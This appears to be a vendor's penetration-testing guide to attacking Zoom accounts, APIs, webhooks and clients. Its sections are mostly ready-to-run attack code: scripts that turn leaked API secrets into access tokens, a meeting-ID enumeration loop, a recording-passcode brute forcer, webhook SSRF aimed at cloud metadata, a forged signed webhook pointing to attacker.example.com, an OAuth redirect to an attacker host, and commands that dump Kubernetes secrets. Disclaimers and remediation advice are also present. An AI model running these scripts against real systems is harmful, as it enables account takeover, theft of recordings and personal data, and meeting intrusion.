Zoom Security Testing: API Key Exposure, Meeting Hijacking, and Webhook Abuse

Zoom hosts over 300 million daily meeting participants and has become the default videoconferencing layer for enterprise communication. That dominance makes it a rich attack surface: leaked API credentials can expose every user in an account, unprotected meeting IDs invite meeting bombing, and misconfigured webhook endpoints turn Event Subscriptions into SSRF launching pads. This guide covers the full attack surface for authorized penetration testers โ€” from subdomain enumeration and JWT credential hunting to cloud recording access, CVE-2022-22786 client path traversal, and webhook signature bypass.

Table of Contents

  1. Reconnaissance: Zoom Subdomain Enumeration and API Discovery
  2. Authentication Testing: JWT App Credentials and Server-to-Server OAuth
  3. Zoom API Abuse: User, Meeting, and Webinar Enumeration
  4. Meeting Bombing and Meeting ID Hijacking
  5. Cloud Recording Exposure Without Authentication
  6. Webhook SSRF and Event Subscription Abuse
  7. Zoom Client Vulnerabilities: CVE-2022-22786 and URL Scheme Abuse
  8. Credential Exposure in Zoom App Integrations
  9. Remediation and Hardening
  10. Vulnerability Summary
โš  Authorized Testing Only

All techniques in this guide require explicit written authorization from the account owner and relevant system operators. Unauthorized access to Zoom meetings, APIs, or user data violates the Computer Fraud and Abuse Act (CFAA), the UK Computer Misuse Act, and equivalent laws in most jurisdictions. Test only in dedicated sandbox accounts with Zoom's Marketplace developer environment.

1. Reconnaissance: Zoom Subdomain Enumeration and API Discovery

Before testing the API, map the target organization's Zoom footprint. Large enterprises often run custom Zoom subdomains (vanity URLs), Zoom Phone integrations, and dedicated Zoom Rooms infrastructure โ€” each with its own configuration surface.

Subdomain Enumeration

Organizations with Zoom accounts frequently expose vanity subdomains at <company>.zoom.us. Enumerate these alongside the broader external DNS footprint:

# Passive certificate transparency search
curl -s "https://crt.sh/?q=%25.zoom.us&output=json" | jq '.[].name_value' | sort -u

# Common Zoom subdomain patterns for the target domain
subfinder -d acmecorp.com -silent | grep -i zoom
amass enum -passive -d acmecorp.com | grep zoom

# Check for Zoom vanity URL
curl -sI https://acmecorp.zoom.us/ | grep -i location

Zoom API Version Discovery

Zoom's REST API base is https://api.zoom.us/v2/. The platform has historically maintained backwards-compatible endpoints while introducing new versions, leaving older endpoints active. Confirm which API versions are reachable and probe for undocumented or legacy routes:

# Identify API version support
curl -s https://api.zoom.us/v2/ -H "Authorization: Bearer PLACEHOLDER" | jq .

# Check Zoom Marketplace app configuration pages for credential leakage
# App credentials often appear in browser source, JS bundles, or error responses
curl -s "https://marketplace.zoom.us/apps/<app_id>" | grep -Ei "api_key|api_secret|client_id|client_secret"

# Enumerate Zoom application configuration in target web/mobile apps
grep -r "zoom" /path/to/source --include="*.js" --include="*.env" \
  | grep -Ei "(api_key|api_secret|sdk_key|sdk_secret|jwt_token)"

Zoom SDK Key Hunting in Repositories

Zoom SDK keys and JWT app credentials are routinely committed to public repositories. Use GitHub dorking and local source code review to find exposed secrets:

# GitHub dorks for Zoom credentials
site:github.com "ZOOM_API_KEY"
site:github.com "ZOOM_API_SECRET"
site:github.com "zoom_jwt_token"
site:github.com "sdk_key" "zoom"

# Local grep for secrets in web application source
grep -rE "(ZOOM_API_KEY|ZOOM_API_SECRET|ZOOM_SDK_KEY|ZOOM_SDK_SECRET|ZOOM_JWT)" \
  /var/www/html --include="*.php" --include="*.py" --include="*.env"

2. Authentication Testing: JWT App Credentials and Server-to-Server OAuth

Zoom historically provided two primary authentication models for server-side integrations: the legacy JWT App (deprecated June 2023 but still active in many environments) and the current Server-to-Server OAuth App. Both use long-lived credentials that, when exposed, grant full account-level access to the Zoom API.

Legacy JWT App: API Key and API Secret Exposure

A Zoom JWT App credential pair (API Key + API Secret) allows an attacker to generate valid bearer tokens for any API call scoped to the associated account. The token is a signed HS256 JWT with a configurable expiry โ€” often set to hours or days in application code:

import jwt
import time
import requests

# Zoom legacy JWT token generation (HS256)
# API key and secret retrieved from leaked .env or repository
API_KEY = "LEAKED_API_KEY_HERE"
API_SECRET = "LEAKED_API_SECRET_HERE"

payload = {
    "iss": API_KEY,
    "exp": int(time.time()) + 3600  # 1-hour token
}

token = jwt.encode(payload, API_SECRET, algorithm="HS256")

# Verify the token grants API access
r = requests.get(
    "https://api.zoom.us/v2/users/me",
    headers={"Authorization": f"Bearer {token}"}
)
print(r.status_code, r.json())
๐Ÿ”ด High Impact: A valid JWT token generated from exposed credentials provides account:read:admin and account:write:admin scope equivalents โ€” full enumeration of users, meetings, recordings, and the ability to join or delete any meeting in the account.

Server-to-Server OAuth App Secret Exposure

The current Server-to-Server OAuth model requires an Account ID, Client ID, and Client Secret. These are exchanged for short-lived access tokens via the token endpoint. If credentials are leaked (hardcoded in source, exposed in build artifacts, or left in container image layers), an attacker can continuously generate fresh tokens:

import requests
from base64 import b64encode

ACCOUNT_ID = "LEAKED_ACCOUNT_ID"
CLIENT_ID = "LEAKED_CLIENT_ID"
CLIENT_SECRET = "LEAKED_CLIENT_SECRET"

# Request OAuth token
credentials = b64encode(f"{CLIENT_ID}:{CLIENT_SECRET}".encode()).decode()
r = requests.post(
    f"https://zoom.us/oauth/token?grant_type=account_credentials&account_id={ACCOUNT_ID}",
    headers={"Authorization": f"Basic {credentials}"}
)
token = r.json().get("access_token")
print(f"Access token: {token}")

# Now enumerate users with the token
users = requests.get(
    "https://api.zoom.us/v2/users?status=active&page_size=300",
    headers={"Authorization": f"Bearer {token}"}
)
print(users.json())

OAuth Token Theft via Redirect URI Misconfiguration

Zoom OAuth apps with insufficiently validated redirect URIs are vulnerable to authorization code theft. During a penetration test, check whether the registered redirect URI accepts wildcard subdomains or open redirects within the target's domain:

# Probe redirect URI validation
# Replace legitimate redirect with attacker-controlled endpoint
GET https://zoom.us/oauth/authorize
  ?response_type=code
  &client_id=TARGET_CLIENT_ID
  &redirect_uri=https://attacker.example.com/callback

# If wildcard subdomain registered: *.acmecorp.com
# Subdomain takeover on dangling CNAME + OAuth code interception
curl -s "https://zoom.us/oauth/authorize?response_type=code&client_id=CLIENT_ID\
&redirect_uri=https://dangling.acmecorp.com/callback&state=csrf_token"

3. Zoom API Abuse: User, Meeting, and Webinar Enumeration

With a valid access token โ€” whether derived from leaked credentials or obtained via authorized testing โ€” the Zoom REST API exposes significant organizational intelligence. The following endpoints are most valuable from an attacker's perspective.

User Directory Enumeration via GET /users

# Enumerate all active users in the account (up to 300 per page)
curl -s "https://api.zoom.us/v2/users?status=active&page_size=300" \
  -H "Authorization: Bearer $TOKEN" | jq '.users[] | {id, email, role_name, status}'

# Enumerate pending users (invited but not yet joined)
curl -s "https://api.zoom.us/v2/users?status=pending&page_size=300" \
  -H "Authorization: Bearer $TOKEN" | jq '.users[] | .email'

# Retrieve specific user profile โ€” exposes phone, department, location
curl -s "https://api.zoom.us/v2/users/user@acmecorp.com" \
  -H "Authorization: Bearer $TOKEN"

Meeting Recording Exposure via /meetings/{id}

The /meetings/{meetingId} and /users/{userId}/recordings endpoints can expose meeting join URLs, passwords, and cloud recording download links to any API caller with meeting:read scope:

# List all recordings for a specific user
curl -s "https://api.zoom.us/v2/users/user@acmecorp.com/recordings?from=2026-01-01" \
  -H "Authorization: Bearer $TOKEN" \
  | jq '.meetings[] | {topic, start_time, recording_files: [.recording_files[] | {download_url, file_type}]}'

# Get meeting details including password and join URL
curl -s "https://api.zoom.us/v2/meetings/MEETING_ID" \
  -H "Authorization: Bearer $TOKEN" \
  | jq '{topic, password, join_url, host_email}'

Webinar Participant Enumeration

Webinar registrant and attendee lists are exposed via the registrants endpoint. In authorized testing scenarios, this demonstrates GDPR and privacy implications when combined with leaked credentials:

# Enumerate webinar registrants โ€” name, email, registration time
curl -s "https://api.zoom.us/v2/webinars/WEBINAR_ID/registrants?page_size=300" \
  -H "Authorization: Bearer $TOKEN" \
  | jq '.registrants[] | {first_name, last_name, email, status}'

# Enumerate past webinar participants โ€” join/leave times
curl -s "https://api.zoom.us/v2/past_webinars/WEBINAR_UUID/participants" \
  -H "Authorization: Bearer $TOKEN" \
  | jq '.participants[] | {name, user_email, join_time, leave_time}'

4. Meeting Bombing and Meeting ID Hijacking

Zoom meeting IDs are 9โ€“11 digit numbers that are largely sequential and predictable within the same account. Prior to Zoom's password enforcement changes (rolled out post-2020), unprotected meetings were joinable by anyone with the ID. In penetration tests of organizations still running Zoom Rooms, legacy integrations, or scheduled recurring meetings from pre-2020, this vector remains relevant.

Unprotected Meeting ID Enumeration

import requests
import time

TOKEN = "YOUR_VALID_ACCESS_TOKEN"

# Enumerate a range of meeting IDs via the API
# In authorized testing, verify which IDs respond without password
for meeting_id in range(800000000, 800001000):
    r = requests.get(
        f"https://api.zoom.us/v2/meetings/{meeting_id}",
        headers={"Authorization": f"Bearer {TOKEN}"}
    )
    if r.status_code == 200:
        data = r.json()
        password = data.get("password", "NONE")
        print(f"[+] Meeting {meeting_id}: {data.get('topic')} | Password: {password}")
    time.sleep(0.1)  # Rate limiting

Waiting Room Bypass Conditions

Waiting rooms are the primary control preventing meeting bombing. However, several bypass conditions exist in misconfigured accounts:

โš  Scope Boundary: Joining a production meeting โ€” even with a discovered ID and no password โ€” constitutes unauthorized access. During authorized testing, use a dedicated test account and test-meeting environment provisioned for the engagement.

5. Cloud Recording Exposure Without Authentication

Zoom cloud recordings can be shared via time-limited URLs that require either authentication or a numeric passcode. Misconfigured recordings are often shared without any access control, relying only on URL obscurity.

Unauthenticated Recording Access

# Recordings shared publicly expose a shareable URL pattern:
# https://zoom.us/rec/share/RECORDING_ID?startTime=TIMESTAMP

# In authorized testing โ€” check if recording requires authentication:
curl -sI "https://zoom.us/rec/share/ABC123?startTime=1234567890" | head -5
# HTTP/2 200 with no redirect to login = unauthenticated access

# Via API โ€” check if download_url requires authentication:
curl -I "RECORDING_DOWNLOAD_URL_FROM_API"
# 302 redirect to download without token = unauthenticated recording access

Recording Passcode Brute Force

When recordings are protected by a numeric passcode (not enforced to meet complexity requirements by default), brute force is viable. Zoom's default passcode is 6 digits, yielding a search space of 1,000,000 combinations:

import requests
import itertools

RECORDING_URL = "https://zoom.us/rec/share/TARGET_RECORDING_ID"

session = requests.Session()
# Retrieve the passcode form token first
r = session.get(RECORDING_URL)
# Extract csrf token from response HTML, then iterate passcodes
for passcode in range(0, 1000000):
    code = f"{passcode:06d}"
    resp = session.post(RECORDING_URL, data={"passcode": code})
    if "Download" in resp.text or resp.status_code == 302:
        print(f"[+] Valid passcode found: {code}")
        break
๐Ÿ”ด High Impact: Cloud recordings of executive meetings, all-hands calls, and HR interviews frequently contain sensitive strategic information, PII, and credential discussions. Unprotected recordings represent a critical finding in any enterprise Zoom assessment.

6. Webhook SSRF and Event Subscription Abuse

Zoom's Event Subscriptions (formerly Webhooks) allow applications to receive real-time notifications to a registered endpoint URL. When an attacker controls the Zoom app configuration โ€” or when a misconfigured Event Subscription endpoint can be modified โ€” this creates a server-side request forgery vector where Zoom's servers initiate HTTP requests to arbitrary internal addresses.

Webhook SSRF via Event Subscription URL Manipulation

# If you have write access to a Zoom app's Event Subscription configuration:
# Set the notification endpoint to an internal IP or metadata service

# Update event subscription URL via Zoom API (requires app write scope)
curl -s -X PATCH "https://api.zoom.us/v2/apps/APP_ID/subscriptions/SUBSCRIPTION_ID" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "event_notification_endpoint_url": "http://169.254.169.254/latest/meta-data/",
    "subscriptions": ["meeting.started"]
  }'

# Trigger a meeting.started event to cause Zoom servers to call the SSRF target
# Monitor your logging endpoint for Zoom's outbound HTTP request payload

Internal SSRF targets to probe during authorized cloud environment testing:

Webhook Signature Bypass

Zoom signs webhook payloads using an HMAC-SHA256 signature derived from the endpoint's verification token. Applications that fail to validate the x-zm-signature header are vulnerable to spoofed webhook events โ€” an attacker can forge any Zoom event (meeting.ended, user.deleted, recording.completed) to manipulate downstream application logic:

import hmac
import hashlib
import requests

# If the target application does NOT validate webhook signatures:
# Forge a recording.completed event to trigger unauthorized download processing
VERIFICATION_TOKEN = "LEAKED_VERIFICATION_TOKEN"  # From .env or source code
TARGET_WEBHOOK_HANDLER = "https://acmecorp.com/api/zoom/webhook"

payload = '{"event":"recording.completed","payload":{"object":{"id":"FAKE_MEETING","recording_files":[{"download_url":"http://attacker.example.com/malicious.mp4"}]}}}'
timestamp = "1699900000"
message = f"v0:{timestamp}:{payload}"
signature = "v0=" + hmac.new(
    VERIFICATION_TOKEN.encode(),
    message.encode(),
    hashlib.sha256
).hexdigest()

requests.post(TARGET_WEBHOOK_HANDLER, data=payload, headers={
    "Content-Type": "application/json",
    "x-zm-signature": signature,
    "x-zm-request-timestamp": timestamp
})

7. Zoom Client Vulnerabilities: CVE-2022-22786 and URL Scheme Abuse

CVE-2022-22786: Path Traversal in Zoom Client Update (CVSS 7.8)

CVE-2022-22786 affected the Zoom Client for Meetings on Windows prior to version 5.10.0. The auto-update mechanism failed to validate the integrity of update packages, allowing a local attacker or a network-positioned adversary to deliver a malicious installer via a path traversal in the update download path. Combined with a man-in-the-middle position on the corporate network (or a rogue WiFi AP), this achieves arbitrary code execution in the context of the logged-in user:

# Verify client version in an authorized internal assessment
# Check installed Zoom version via registry (Windows)
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr "Zoom"

# Or query via WMI (PowerShell)
Get-WmiObject -Class Win32_Product | Where-Object { $_.Name -like "*Zoom*" } | Select Name, Version

Zoom URL Scheme Abuse (zoommtg:// / zoomus://)

The Zoom desktop client registers custom URL protocol handlers (zoommtg:// on Windows/Linux, zoomus:// on macOS). Crafted URLs can be embedded in phishing emails or web pages to trigger automatic client launches, join meetings without user confirmation on older versions, or pass malformed parameters to the client's argument parser:

# Basic meeting join via URL scheme โ€” launches Zoom client and joins meeting
zoommtg://zoom.us/join?action=join&confno=MEETING_ID&pwd=PASSWORD&zc=0

# In a phishing scenario โ€” craft a link that silently joins a controlled meeting
# to capture the victim's Zoom display name and avatar

  Click to join the security review call


# macOS zoomus:// scheme (equivalent)
zoomus://zoom.us/join?action=join&confno=MEETING_ID
โš  Social Engineering Context: URL scheme abuse is primarily a phishing vector. In authorized red team assessments, test whether the target's email gateway and browser policies block zoommtg:// links in HTML email and web content.

8. Credential Exposure in Zoom App Integrations

Zoom integrates with hundreds of enterprise applications โ€” Slack, Salesforce, HubSpot, ServiceNow, and custom internal tools. These integrations require Zoom OAuth credentials and often store them insecurely.

Common Credential Exposure Patterns

# Extract Zoom SDK keys from an Android APK
jadx -d output/ target-app.apk
grep -r "zoom" output/ | grep -Ei "(sdk_key|sdk_secret|api_key|api_secret)" | head -20

# Scan running Kubernetes cluster for Zoom credentials (authorized internal testing)
kubectl get secrets -A -o json | jq -r \
  '.items[] | .data | to_entries[] | select(.key | test("zoom|ZOOM")) | .value' \
  | base64 -d 2>/dev/null

# Check application logs for token exposure
grep -i "zoom" /var/log/app/*.log | grep -Ei "(access_token|bearer|client_secret)"

Slack-Zoom Integration Credential Chains

The Zoom for Slack integration stores both Slack and Zoom OAuth tokens in the integration backend. A compromise of the Slack workspace's admin token (or Slack's Zoom app configuration) can expose Zoom account credentials, creating a credential chain that escalates from a Slack misconfiguration to full Zoom account takeover:

# Via Slack API โ€” list installed apps and check for Zoom integration credentials
curl -s "https://slack.com/api/apps.list" \
  -H "Authorization: Bearer xoxp-SLACK-TOKEN" \
  | jq '.apps[] | select(.name | test("zoom"; "i")) | {id, name}'

9. Remediation and Hardening

Effective Zoom security hardening spans account configuration, API credential hygiene, and client policy enforcement across the entire organization.

Account-Level Security Controls

API Credential Security

Client and Endpoint Controls

Zoombomb Detection and Response

10. Vulnerability Summary

Vulnerability Severity Endpoint / Component Impact
JWT App API Key/Secret Exposure Critical Source code, .env files, repos Full account takeover, user enumeration, recording access
Server-to-Server OAuth Secret Exposure Critical Build artifacts, K8s Secrets, logs Persistent API access, data exfiltration
Cloud Recording Unauthenticated Access Critical zoom.us/rec/share/ Sensitive meeting content exposure, PII leak
User Directory Enumeration High GET /v2/users Employee PII, role and department exposure
Webhook SSRF via Event Subscription URL High Event Subscription configuration Internal network access, cloud metadata exfiltration
Webhook Signature Bypass High Application webhook handler Forged events, business logic manipulation
Unprotected Meeting ID (no password/waiting room) High Meeting join flow Unauthorized meeting access, eavesdropping
CVE-2022-22786: Update Path Traversal High Zoom Client for Windows < 5.10.0 Arbitrary file write, code execution
OAuth Redirect URI Misconfiguration Medium Zoom OAuth App configuration Authorization code theft, account takeover
Meeting Recording Passcode Brute Force Medium zoom.us/rec/share/ passcode form Recording access, sensitive content exposure
Zoom URL Scheme Phishing (zoommtg://) Medium Zoom desktop client, email clients Silent meeting join, user tracking, client exploitation
SDK Key Exposure in Mobile Binaries Medium iOS/Android app binary Zoom SDK meeting hosting, user impersonation
Webinar Participant Enumeration Low GET /v2/webinars/{id}/registrants Attendee PII, competitive intelligence
Zoombomb Countermeasures Summary:

Automate Zoom Security Testing with Ironimo

Ironimo's Kali Linux-powered scanning engine continuously tests your Zoom account configuration, API credential hygiene, webhook security, and client version compliance โ€” surfacing misconfigurations before attackers do.

Start free scan